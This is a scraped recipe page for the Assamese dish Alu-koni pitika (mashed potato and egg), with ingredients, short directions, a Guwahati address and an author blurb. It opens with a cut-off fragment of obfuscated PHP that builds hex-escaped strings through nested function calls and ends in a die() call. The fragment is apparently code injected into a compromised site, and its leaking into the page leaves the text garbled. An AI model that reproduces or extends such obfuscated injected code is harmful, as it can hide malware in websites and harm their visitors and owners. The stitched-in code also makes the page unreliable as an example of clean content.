x35"))))."\x69\x6c".$S28($E23("\x31\x30\x31"))."\x64"); } die($S28($E23("\x38".$S28($E23("\x35\x33"))))."\x72\x6c\x20\x69\x6e".$S28($E23("\x31\x31\x38"))."\x61\x6c\x69".$S28($E23($S28($E23("\x34".$S28($E23("\x35".$S28($E23("\x35\x35")))))).$S28($E23("\x34\x38")).$S28($E23("\x34\x38"))))); } ?> Alu-koni pitika (Mashed potato and egg) - Assamese Cuisine

Alu-koni pitika (Mashed potato and egg)

5.0/5 rating (2 votes)
Alu-koni pitika (Mashed potato and egg)

Ingredients

  • Boiled potato:4 (400 ml)
  • Boiled egg: 4
  • Chopped onion: 1 tbsp
  • Chopped chilli: 2
  • Chopped coriander:1 tsp
  • mustard oil: 2 tsps
  • Salt: to taste

Directions

    • Peel the potatoes and eggs while warm.
    • Sprinkle salt and add chopped onions,chillies, coriander and mustard oil. Mix well with hand.
    • Enjoy with boiled rice and dail.

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Location

  • c/o Ashok Das,¬†#13, Lamb Road, Ujanbazar,¬†Guwahati - 781 001, Assam, India

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She was hungry. Hungry to bring the world the rich yet simple ethnic Assamese Cuisine. She loves Assamese food with its...  Read more>>

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